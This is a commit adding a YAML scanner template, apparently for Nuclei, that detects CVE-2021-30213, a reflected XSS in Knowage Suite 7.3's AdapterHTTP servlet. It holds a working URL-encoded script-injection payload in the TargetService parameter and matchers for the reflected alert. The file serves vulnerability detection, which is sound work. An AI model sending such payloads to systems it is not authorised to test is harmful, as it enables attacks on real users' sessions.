Create CVE-2021-30213.yaml

patch-1
alph4byt3 2021-11-24 17:43:59 +02:00 committed by GitHub
parent 0d2a2f4e15
commit f2ff7a1a7e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
id: CVE-2021-30213
info:
name: Knowage Suite 7.3 XSS
author: alph4byt3
severity: medium
description: Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
reference: https://nvd.nist.gov/vuln/detail/CVE-2021-30213
tags: cve,cve2021,xss
requests:
- method: GET
path:
- "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"
matchers-condition: and
matchers:
- type: word
words:
- '"><script>alert(document.domain)</script>'
part: body
- type: status
status:
- 200
- type: word
part: header
words:
- text/html